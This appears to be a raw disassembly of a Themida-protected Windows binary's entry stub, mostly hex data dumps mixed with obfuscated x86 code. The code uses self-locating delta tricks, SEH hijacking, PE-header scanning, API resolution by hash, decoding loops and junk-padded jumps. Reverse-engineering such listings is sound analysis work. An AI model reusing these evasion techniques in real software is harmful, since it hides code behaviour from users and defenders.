dup(0) dd 5A4B8300h, 0Ch dup(0) dd 0E1FC3400h, 27h, 2 dup(0) dd 8EB00h, 5 dup(0) dd 0E82FE800h, 77h, 2Ch dup(0) dd 436B9200h, 19h, 4 dup(0) dd 2D343000h, 31h, 6 dup(0) dd 9F69DD00h, 0Ah dup(0) dd 0E8216800h, 6F27A77h, 67h, 3 dup(0) dd 57846900h, 0 dd 53FA7200h, 5 dup(0) dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0Ah dup(0) dd 0FE030400h, 7Fh, 0 dd 2209FC00h, 0D8h, 0 dd 40100000h, 5 dup(0) dd 5753BB00h, 3CC0000h, 3 dup(0) dd 0A8FFDD00h, 0FFh, 5892E100h, 4 dup(0) dd 0FFF81800h, 0FFh, 3 dup(0) dd 0D4000000h, 3A59FD77h, 49h, 20DA3100h, 24h, 6 dup(0) dd 0FE030400h, 7Fh, 8 dup(0) dd 0E7614D00h, 77h, 0 dd 58830200h, 3 dup(0) dd 1E5700h, 0 dd 100h, 5BFFFC00h, 4 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 16A4900h, 60h, 4 dup(0) dd 0E7A14400h, 77h, 3 dup(0) dd 1000h, 3 dup(0) dd 56602C00h, 0 dd 0EACCCC00h, 27h, 2 dup(0) dd 0A17FD800h, 4 dup(0) dd 9F923400h, 58F32300h, 57693600h, 5 dup(0) dd 100h, 2 dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 9EB16800h, 0 dd 100h, 0 dd 53D5CD00h, 3 dup(0) dd 679000h, 0 dd 87CA0600h, 1E8h, 4 dup(0) dd 28010500h, 0Ah, 5 dup(0) dd 0C530DF00h, 0A9h, 4 dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 7E800h, 3 dup(0) dd 2EAC4500h, 9F69DDF0h, 2 dup(0) dd 35B00h, 3 dup(0) dd 53E48500h, 0 dd 0A1731600h, 4 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 693600h, 58000000h, 2, 26h dup(0) dd 0FE030400h, 7Fh, 13h dup(0) dd 5B05AF00h, 5 dup(0) dd 45047400h, 3Eh, 486B9C00h, 2, 0FE030400h, 5700237Fh dd 498D8D00h, 0E7C486A6h, 9E0A9A77h, 2 dup(0) dd 5A786A00h, 9 dup(0) dd 501A5800h, 0E3h, 9400h, 2 dup(0) dd 0AC1B7B00h, 0FFh, 0 dd 58619A00h, 5 dup(0) dd 7CBF00h, 7 dup(0) dd 0E7A83700h, 77h, 2 dup(0) dd 57D83F00h, 6 dup(0) dd 0C530DF00h, 0A9h, 0FC098200h, 0F8h, 3 dup(0) dd 0D38D8D00h, 56FAEC40h, 58000100h, 3 dup(0) dd 29905100h, 5A5D285Fh, 2 dup(0) dd 12FF5400h, 5A0D0400h, 0 dd 0A5710F00h, 0FFh, 3 dup(0) dd 8B06A900h, 2, 0AD000000h, 0D153BB00h, 3040Fh, 0 dd 30DF00h, 2 dup(0) dd 3B2A000h, 2B00h, 5F9C3D00h, 49h, 0BF002200h, 0A015684Bh dd 2 dup(0) dd 6C956000h, 5B232B97h, 0Ah dup(0) dd 90A75500h, 0BEh, 6B3D00h, 3 dup(0) dd 123E900h, 0 dd 57CAB700h, 3 dup(0) dd 100h, 53002300h, 0 dd 0D2FCD600h, 79h, 0 dd 0FB5E200h, 97A7208Ah, 9825h, 5 dup(0) dd 0FF9AC000h, 0FFh, 0 dd 0C3BBCD00h, 18h, 4 dup(0) dd 58DD0100h, 2 dup(0) dd 9AFB7200h, 1, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53EF15: ; CODE XREF: start:loc_53BC74j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 60332ABh mov [ebp+60313F1h], edx mov [ebp+6031B1Dh], esi mov [ebp+6030461h], eax cmp dword ptr [ebp+6030A71h], 0 jz short loc_53EF4D mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53EF4D: ; CODE XREF: start+5EF2Bj mov eax, [esp+40h+var_1C] mov [ebp+6030C0Dh], eax push 45h call sub_53F001 push 783749Ah call sub_53F047 push 0A894B25h call sub_53F047 jmp loc_53F18B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F001 proc near ; CODE XREF: start+5EF45p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6033399h mov ebx, edx mov [ebp+var_28], 0 loc_53F01D: ; CODE XREF: sub_53F001+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53F03C mov eax, [ebp+arg_0] mov [ebx+6033303h], eax inc [ebp+arg_0] inc ebx jmp short loc_53F01D ; --------------------------------------------------------------------------- loc_53F03C: ; CODE XREF: sub_53F001+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53F001 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F047 proc near ; CODE XREF: start+5EF4Fp start+5EF59p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 60333E2h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53F06D: ; CODE XREF: sub_53F047+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53F06D mov [ebp+var_84], 0 lea edi, [edx+6033303h] lea esi, [ebp+var_80] loc_53F09D: ; CODE XREF: sub_53F047+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53F0A9: ; CODE XREF: sub_53F047+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53F0A9 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53F09D popa leave retn 4 sub_53F047 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53F0E7 ; --------------------------------------------------------------------------- loc_53F0E3: ; CODE XREF: Themida_:0053F0EAj inc dword ptr [ebp-4] inc esi loc_53F0E7: ; CODE XREF: Themida_:0053F0E1j cmp byte ptr [esi], 0 jnz short loc_53F0E3 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53F178 ; --------------------------------------------------------------------------- loc_53F0F9: ; CODE XREF: Themida_:0053F17Bj mov dword ptr [ebp-8], 0 jmp short loc_53F16F ; --------------------------------------------------------------------------- loc_53F102: ; CODE XREF: Themida_:0053F173j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53F15C ; --------------------------------------------------------------------------- loc_53F112: ; CODE XREF: Themida_:0053F160j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53F134 cmp bl, 39h ja short loc_53F134 sub bl, 30h jmp short loc_53F156 ; --------------------------------------------------------------------------- loc_53F134: ; CODE XREF: Themida_:0053F128j ; Themida_:0053F12Dj cmp bl, 61h jb short loc_53F146 cmp bl, 66h ja short loc_53F146 sub bl, 61h add bl, 0Ah jmp short loc_53F156 ; --------------------------------------------------------------------------- loc_53F146: ; CODE XREF: Themida_:0053F137j ; Themida_:0053F13Cj cmp bl, 41h jb short loc_53F156 cmp bl, 46h ja short loc_53F156 sub bl, 41h add bl, 0Ah loc_53F156: ; CODE XREF: Themida_:0053F132j ; Themida_:0053F144j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53F15C: ; CODE XREF: Themida_:0053F110j cmp dword ptr [ebp-0Ch], 2 jb short loc_53F112 cmp dword ptr [ebp-10h], 0 jbe short loc_53F16C mov eax, [ebp-10h] stosb loc_53F16C: ; CODE XREF: Themida_:0053F166j inc dword ptr [ebp-8] loc_53F16F: ; CODE XREF: Themida_:0053F100j cmp dword ptr [ebp-8], 2 jb short loc_53F102 add edx, 4 loc_53F178: ; CODE XREF: Themida_:0053F0F7j cmp edx, [ebp-4] jb loc_53F0F9 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F18B: ; CODE XREF: start+5EF5Ej mov ecx, 7000h lea edi, [ebp+6033528h] loc_53F196: ; CODE XREF: start+5F186j dec byte ptr [edi] inc edi dec ecx jnz short loc_53F196 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+603360Ah] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax movsx ebx, si pusha movsx esi, ax popa sub eax, edx mov ebx, esi and eax, 0FFFFF000h call near ptr loc_53F1DD+9 loc_53F1DD: ; CODE XREF: start+5F1C4p mov dword ptr [ebx+43798A74h], 600E130Bh mov si, bx mov di, bx popa pop ebx mov bl, ch mov ecx, edx xor edi, edi loc_53F1F5: ; CODE XREF: start+5F1FCj cmp word ptr [eax], 5A4Dh jnz short loc_53F20A movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_53F212 loc_53F20A: ; CODE XREF: start+5F1E6j sub eax, 1000h inc edi jmp short loc_53F1F5 ; --------------------------------------------------------------------------- loc_53F212: ; CODE XREF: start+5F1F4j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+603361Dh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_53F24C mov esi, [eax+1Ch] loc_53F24C: ; CODE XREF: start+5F233j xor eax, eax loc_53F24E: ; CODE XREF: start+5F24Dj cmp eax, 32h jz short loc_53F272 cmp word ptr [esi], 5A4Dh jz short loc_53F263 loc_53F25A: ; CODE XREF: start+5F25Cj sub esi, 10000h inc eax jmp short loc_53F24E ; --------------------------------------------------------------------------- loc_53F263: ; CODE XREF: start+5F244j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_53F2B4 jmp short loc_53F25A ; --------------------------------------------------------------------------- loc_53F272: ; CODE XREF: start+5F23Dj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8B51h dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h dd 0 dd 28ED815Dh, 8D060336h, 335E685h, 0B8818906h, 5D000000h dd 0C3C03359h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F2B4: ; CODE XREF: start+5F25Aj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push esi jnz loc_53F2C7 cmc loc_53F2C7: ; CODE XREF: start+5F2ACj pop ebx mov bl, ch mov bl, 0F9h mov cx, ds mov bl, 80h and cl, 4 and ebx, 3185EFC9h or cl, cl jnz loc_53F320 push 0 push edx call sub_53F2ED and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53F2ED proc near ; CODE XREF: start+5F2D1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_53F2ED endp ; --------------------------------------------------------------------------- db 0A9h, 80h, 0D7h dd 9185C719h, 106031Eh, 81000000h, 0B1E184C3h, 16E964h dd 81660000h, 661799D3h, 0AD4FC381h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F320: ; CODE XREF: start+5F2C8j mov dword ptr [ebp+6031E91h], 0 mov bh, al mov [ebp+6031359h], eax jo loc_53F33A mov bh, cl loc_53F33A: ; CODE XREF: start+5F31Ej mov [ebp+60328C9h], eax call sub_53F34A mov dh, 16h sub cl, bh ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53F34A proc near ; CODE XREF: start+5F32Cp cld pop edi add edi, 7529h push ebx cld pop edx mov eax, 1D13h jmp loc_53F36C ; --------------------------------------------------------------------------- db 83h dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h ; --------------------------------------------------------------------------- loc_53F36C: ; CODE XREF: sub_53F34A+10j ; sub_53F34A+CCj mov ebx, [edi] and si, 29F6h sub ebx, 4451C8DDh jmp loc_53F387 ; --------------------------------------------------------------------------- dw 11ADh dd 0F58619Bh db 0F4h, 0E9h, 28h ; --------------------------------------------------------------------------- loc_53F387: ; CODE XREF: sub_53F34A+2Fj xor ebx, 4EC23383h sub ebx, 3B1E05E7h jmp loc_53F3A5 ; --------------------------------------------------------------------------- dd 0A29D7C59h, 0BBBD305Fh, 0C3869FD9h db 9Fh ; --------------------------------------------------------------------------- loc_53F3A5: ; CODE XREF: sub_53F34A+49j push ebx mov ecx, 78B6F940h pop dword ptr [edi] jmp loc_53F3C2 ; --------------------------------------------------------------------------- dw 0C6FCh dd 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh db 0D8h, 8Dh ; --------------------------------------------------------------------------- loc_53F3C2: ; CODE XREF: sub_53F34A+63j sub edi, 5E664BC2h stc add edi, 5E664BBEh or si, 7772h sub eax, 1 jnz loc_53F411 jmp loc_53F3F9 ; --------------------------------------------------------------------------- db 2Ah, 57h, 0EDh dd 756B429Ah, 211CA208h, 4FED4B2h, 1D6A4CABh db 3Fh ; --------------------------------------------------------------------------- loc_53F3F9: ; CODE XREF: sub_53F34A+96j jmp loc_53F426 ; --------------------------------------------------------------------------- dw 2AC0h dd 0CFE97552h, 417743C5h, 0C03B5568h, 28939761h db 6Ch ; --------------------------------------------------------------------------- loc_53F411: ; CODE XREF: sub_53F34A+90j mov ecx, 4FA0A0B9h jmp loc_53F36C ; --------------------------------------------------------------------------- db 0EDh dd 6A558153h, 9776028Ch db 4Eh, 0E1h ; --------------------------------------------------------------------------- loc_53F426: ; CODE XREF: sub_53F34A:loc_53F3F9j call sub_53F434 rcl byte ptr [eax-5Dh], 35h xlat lodsb int 0C5h ; used by BASIC while in interpreter pop ecx sub_53F34A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_53F434 proc near ; CODE XREF: sub_53F34A:loc_53F426p jge loc_53F43F push eax and ch, 7 pop ebx loc_53F43F: ; CODE XREF: sub_53F434j pop edx jmp loc_53F458 ; --------------------------------------------------------------------------- db 56h, 0CFh, 68h dd 69F80DA3h, 440961FAh, 0B9DED757h, 0CDD37257h ; --------------------------------------------------------------------------- loc_53F458: ; CODE XREF: sub_53F434+Cj add edx, 68ADh mov ecx, 6435AD84h mov eax, 20B3B6C9h add eax, 0DF4C6335h call sub_53F483 iret sub_53F434 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0D2AF9BA7h, 0F986F5F6h, 983A5480h db 19h, 0FBh, 42h ; =============== S U B R O U T I N E ======================================= sub_53F483 proc near ; CODE XREF: sub_53F434+3Ap call near ptr loc_53F490+1 sbb byte ptr [ecx-4Ch], 0A8h ; CODE XREF: sub_53F483:loc_53F490j leave push edi add bl, [edi] loc_53F490: ; CODE XREF: sub_53F483p js short near ptr loc_53F488+2 sub_53F483 endp ; sp-analysis failed pop ebx pop edi loc_53F494: ; CODE XREF: Themida_:0053F4DCj push dword ptr [edx] movzx ebx, bx pop esi mov ecx, 86D6900h sub esi, 10942508h xor di, 38BCh xor esi, 38C2F2A3h mov ecx, ebx sub esi, 6663AFEDh jo $+6 push esi pop dword ptr [edx] jp $+6 sub edx, 1BC7E6C0h mov cx, bx add edx, 1BC7E6BCh and di, 223Ah dec eax jnz loc_53F494 mov ebx, edx jmp loc_53FC66 ; --------------------------------------------------------------------------- db 60h, 0B2h, 47h dd 0CA8B6660h, 1AA19D89h, 61610603h, 217h, 6031E8Dh, 8B600000h dd 32E61B5h, 0CE906h, 5B860000h, 9474DD97h, 0CDF0DC11h dd 6061E641h, 14E9h, 1EA3E300h, 0B8FD6C20h, 275FAF1Eh dd 0F41CA7BAh, 2FC4FFA4h, 0B8B4h, 9D090000h, 6030CF5h dd 2824548Bh, 0AD8589F9h, 0F060312h, 68Dh, 1D952900h, 0BE060322h dd 3Ch, 188E0Fh, 8D0F0000h, 12h, 0DE9h, 530F0D00h, 0C145FF2Bh dd 79111BFFh, 74036838h, 5E92424h, 9A000000h, 0A885B517h dd 14E9AD66h, 0F9000000h, 2618D32Fh, 5995BE8Ch, 0EFD354F7h dd 75830B53h, 3052710h, 0E9242444h, 0Dh, 432BD75Ah, 0A03BF5FDh dd 0BF7080F5h, 0FE95098h, 1000000h, 85418ACCh, 1969097Ch dd 5E08B1FAh, 489CF56h, 408BF524h, 299D2978h, 3060311h dd 0F282444h, 180h, 408BF900h, 6800F18h, 29000000h, 32CA99Dh dd 5E94006h, 11000000h, 0CE46D920h, 38848589h, 830F0603h dd 0Ch, 6850Fh, 8A0F0000h, 0 dd 11E958h, 4C8C0000h, 0D9593F95h, 8FEB96DDh, 2C6EF41Eh dd 8B91062Bh, 13E97870h, 3D000000h, 86ADF3B7h, 0D99D5D61h dd 0AEF76359h, 0FFD2EE24h, 0C683AA22h, 7403FC1Ch, 0E8602424h dd 12h, 0A048B20Dh, 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 9509768Ah dd 6030CB1h, 0E98D8B5Ah, 61060311h, 31C1BD8Dh, 0F5600603h dd 2051958Bh, 0AD610603h, 1B89B589h, 44030603h, 0BD892424h dd 6030345h, 0A830FABh, 0E9000000h, 5, 71E2F6D9h, 51BD8D3Fh dd 0F8060310h, 3D9D2360h, 8A060303h, 0E9AD61F9h, 14h, 0FD3188D1h dd 89B81E6Bh, 9228A9EFh, 0EC3681C2h, 8A147985h, 24244403h dd 1AE59589h, 0F900603h, 1586h, 10E900h, 69390000h, 2838B969h dd 0A68CCE9Bh, 0BCB6107Eh, 50505538h, 48B76052h, 0F61DA8Bh dd 15800F31h, 0E9000000h, 10h, 0E1EA5BDBh, 0B56B026Bh dd 86D5DAF1h, 0E54CFCD9h, 990585Ah, 31C09B5h, 9589AB06h dd 60303C5h, 2259BD8Dh, 81600603h, 0DE0252CFh, 9D336029h dd 6031015h, 13FD9D8Bh, 61610603h, 0C19589ADh, 306031Bh dd 0F282444h, 688h, 2D9D3100h, 0F5060304h, 89F860ABh, 313A19Dh dd 0E95E6106h, 0Bh, 55AB7B0Eh, 5A4D421Ch, 0FF336F8Ah, 338848Dh dd 84BD8306h, 60338h, 44C71075h, 1C24h, 0B58D0000h, 6033DCDh dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 32F3985h, 74C08406h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 0AD85FF04h, 0E9060312h, 0FFFFFF6Fh, 0E8D0F5Eh dd 60000000h, 0B3D858Bh, 0B58B0603h, 6030289h, 13860F61h dd 0E9000000h, 0Eh, 0BFF2E2D1h, 0EC56FDEAh, 0EBA836A5h dd 858B1B69h, 60312ADh, 14E9h, 480CC200h, 65B9ECCAh, 744A3E28h dd 25605CABh, 62EF1CF0h, 0E9E0D1E1h, 0Eh, 34CAE0D2h, 3A693830h dd 0E412EB5Bh, 850386E4h, 6032259h, 6820Fh, 8D290000h dd 60326D5h, 0FE9F62Bh, 74000000h, 623013Bh, 24010259h dd 6CA3F97Bh, 0E9969FF6h, 11h, 0AE8B310Eh, 0F894FD70h dd 3FDCC686h, 1DEF3D06h, 60AD6612h, 38D852Bh, 0B8660603h dd 0C161728Bh, 8D8902E0h, 6032979h, 31C18503h, 0BE90603h dd 4C000000h, 6F789547h, 8A484CF1h, 0E996E2F5h, 0Ch, 0DDC29642h dd 6EFD72F1h, 221DBF5Bh, 0E1B589ADh, 8B06031Ch, 0F24244Ch dd 685h, 21BD0900h, 306031Fh, 0F242444h, 68Eh, 45958900h dd 89060332h, 601C2444h, 14E956h, 6CDD0000h, 1B4EB1A8h dd 4ADFBE76h, 0DC5808DBh, 0BA8E8909h, 0F5BE468h, 687h dd 860F00h, 61000000h, 1880F96h, 0F5000000h, 6830FACh dd 89000000h, 302358Dh, 0F8C93206h, 9589C1FEh, 6031AE5h dd 830FD0D0h, 0D5h, 0FD0D0FCh, 0CC83h, 38C0F00h, 60000000h dd 0D0D061F5h, 0BB820Fh, 840F0000h, 6, 250D9D89h, 0D0F80603h dd 0A6820FD0h, 89000000h, 32475B5h, 958B6006h, 6032979h dd 23A59529h, 0FE610603h, 0AD890FC9h, 1FFFFFFh, 3128195h dd 20C48306h, 0E8B0Fh, 29600000h, 32EA9B5h, 45952306h dd 61060301h, 0FC2444C7h, 0 dd 12819589h, 1B80603h, 0E9000000h, 13h, 2BFC1E07h, 798FDCF6h dd 0A5C16BDEh, 585E3289h, 606EF3E2h, 0D9858B52h, 59060313h dd 0AE9h, 6548AD00h, 0F9F901B1h, 617F1A41h, 72878D8Dh dd 89600603h, 3315DB5h, 38B0F06h, 80000000h, 0FF6154C8h dd 0BE9E1h, 0FD840000h, 4D6D13C0h, 4DA7212Bh, 3985C66Dh dd 6032Fh, 0A9BD2B60h, 8B060309h, 32C718Dh, 0F616106h dd 0C82h, 6880F00h, 0F000000h, 8Eh, 8C200h, 1B858D89h dd 50500603h, 13E952h, 6EAB0000h, 99191639h, 0F1ED4C04h dd 7C2BD2E2h, 48105077h, 50310FEEh, 0F525052h, 0F585A31h dd 860F31h, 5A000000h, 89585A58h, 89F52434h, 33FC6B5h dd 8D89F906h, 6033FDFh, 0AB59D89h, 0B58D0603h, 6033EABh dd 0EE9h, 0EFB52100h, 8D15A525h, 0D7DDE07Bh, 8D48AC84h dd 5B7E3585h, 0EE900h, 0CAE20000h, 0AC7ACBBEh, 330E5E6h dd 0D22F725Bh, 8501D0FFh, 6030C15h, 13E95Eh, 0ED750000h dd 6ED93880h, 9751B6BFh, 0A3260943h, 0BE740B3h, 0A810F87h dd 0E9000000h, 5, 0E43A69Bh, 8BF5C3DEh, 33FC6B5h, 8D8BF506h dd 6033FDFh, 23099589h, 0B80603h, 89000000h, 3103D9Dh dd 60D98B06h, 2525858Bh, 52510603h, 0E961595Ah, 0D2h, 12E9h dd 740A4600h, 9DE545EBh, 0BEFFFED1h, 53CD9A26h, 32C92061h dd 0BD316026h, 6031CC5h, 61F88B66h, 5E902B2h, 88000000h dd 82307EC6h, 8BE9h, 0DDB50900h, 32060329h, 0EE9C2h, 0C5D00000h dd 647F5B2Eh, 0E3A4E8C1h, 7F957C6h, 0D850Fh, 89600000h dd 30465B5h, 0E437B806h, 5612C55h, 8A751D7Ah, 196D8D89h dd 0CC8A0603h, 2955B589h, 0C8D30603h, 0F8B0Fh, 0AE90000h dd 0A4000000h, 24854FEh, 0BD85B8DAh, 6660607Eh, 8E0FFE8Bh dd 0 dd 3561F861h, 98D10842h, 6840Fh, 85010000h, 6031D7Dh, 2D958960h dd 52060304h, 615F19B1h, 0B509CAFEh, 6030B01h, 850FD20Ah dd 0FFFFFF73h, 0A0D9D29h, 0F84B0603h, 0DB0BFC46h, 0FF3D850Fh dd 0CFF9FFFFh, 0B70F6060h, 161F9CEh, 31EADBDh, 6106h, 10F1BD31h dd 603h, 26099D89h, 89600603h, 3318DBDh, 61FC06h, 0B58B6000h dd 60330E1h, 23DD8523h, 610603h db 0, 0F8h ; --------------------------------------------------------------------------- loc_53FC66: ; CODE XREF: Themida_:0053F4E4j lea eax, [ebp+60338A7h] jnb loc_53FC78 sub [ebp+6030949h], eax loc_53FC78: ; CODE XREF: Themida_:0053FC6Cj mov [ebp+6031CE9h], eax mov [ebp+60323E9h], edx lea eax, [ebp+6033DFEh] pusha push esi jo $+6 pop eax call near ptr loc_53FC9C+3 insd db 36h loopne near ptr loc_53FCA9+1 loc_53FC9C: ; CODE XREF: Themida_:0053FC93p cmp eax, 0DA8BE827h pop esi popa mov [ebp+6032C4Dh], eax loc_53FCA9: ; CODE XREF: Themida_:0053FC99j jmp short loc_53FCBF ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 8B000000h db 3 dup(0) ; --------------------------------------------------------------------------- loc_53FCBF: ; CODE XREF: Themida_:loc_53FCA9j lea eax, [ebp+6034103h] mov [ebp+60311C5h], eax cmp dword ptr [ebp+6034043h], 0 jz loc_53FDFB mov byte ptr [ebp+6032F39h], 56h call near ptr loc_53FCE7+1 cmp [ebp+1Fh], ebp loc_53FCE7: ; CODE XREF: Themida_:0053FCDFp aam 50h mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+6031359h] lea eax, [ebp+60338A7h] call eax mov [ebp+6034037h], eax mov byte ptr [ebp+6032F39h], 56h push 0DA227EECh xor dword ptr [esp], 468AC6BEh push dword ptr [ebp+6031359h] lea eax, [ebp+60338A7h] call eax mov [ebp+603403Bh], eax push 4 push 16B04ACDh xor dword ptr [esp], 16B05ACDh mov eax, [ebp+6034047h] add eax, 1F4h shl eax, 2 push eax mov [esp], eax push 0 call dword ptr [ebp+603403Bh] mov [ebp+603403Fh], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+60311C5h] mov eax, ebx call dword ptr [ebp+60311C5h] jmp loc_53FDFB ; --------------------------------------------------------------------------- db 83h dd 34043BDh, 850F0006h, 1, 0BD8B57C3h, 603403Fh, 3F8583ABh dd 4060340h, 0BD83C35Fh, 6034043h, 1850F00h, 0C3000000h dd 3FAD8360h, 4060340h, 403F9D8Bh, 7B830603h, 850FFFFCh dd 1Dh, 92C13868h, 24048192h, 6D6DBEC8h, 33FF006Ah, 403795FFh dd 0C3610603h, 1DE9h, 4D966800h, 34816C97h, 97CD9624h dd 0FF006A6Ch, 3795FF33h, 83060340h, 3403FADh, 0B1E90406h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FDFB: ; CODE XREF: Themida_:0053FCD2j ; Themida_:0053FD72j dec eax jmp loc_53FFAE ; --------------------------------------------------------------------------- db 60h, 8Bh, 74h dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h dd 0D2124616h, 6A830Fh, 0C0330000h, 850FD202h, 5, 1246168Ah dd 2A830FD2h, 2000001h, 5850FD2h, 8A000000h, 0D2124616h dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0FC013D2h, 684h, 0F82B5700h, 885F078Ah, 2BB4707h, 0E9000000h dd 0FFFFFF70h, 1B8h, 0FD20200h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 2BFFFFFFh, 1BBC3h dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h dd 3D000000h, 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFEB4h, 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h dd 7C2BFFFFh, 7C892824h, 0C2611C24h db 8, 0 ; --------------------------------------------------------------------------- loc_53FFAE: ; CODE XREF: Themida_:0053FDFCj mov edx, 929h jmp loc_54098B ; --------------------------------------------------------------------------- dd 497BF65Ch, 0C530E973h, 4AA6CD36h, 0E6FE7B5Dh, 423DD401h dd 0D72AED36h, 98F4CC3Fh, 0B7D31480h, 447BD001h, 0CD3CAB78h dd 19F4DA24h, 0A3F9694Ch, 21529F0Eh, 0C320E746h, 0CAF8CD22h dd 0B1D11480h, 447BD30Eh, 0D023AB62h, 7F4C53Eh, 0B4E27750h dd 4239911Ah, 0C737AB72h, 98B5DC22h, 0B1C45A81h, 5D7BC51Ah dd 0D022E464h, 0FAC530h, 63h dup(0) dd 407BF65Ch, 0D62CE579h, 1AF4DA3Eh, 0B4EA7547h, 4478DC02h dd 0C065F877h, 0CABACD34h, 0B0C81593h, 5829970Bh, 0CC2CE578h dd 4BD8836h, 0B3E26315h, 552B9111h, 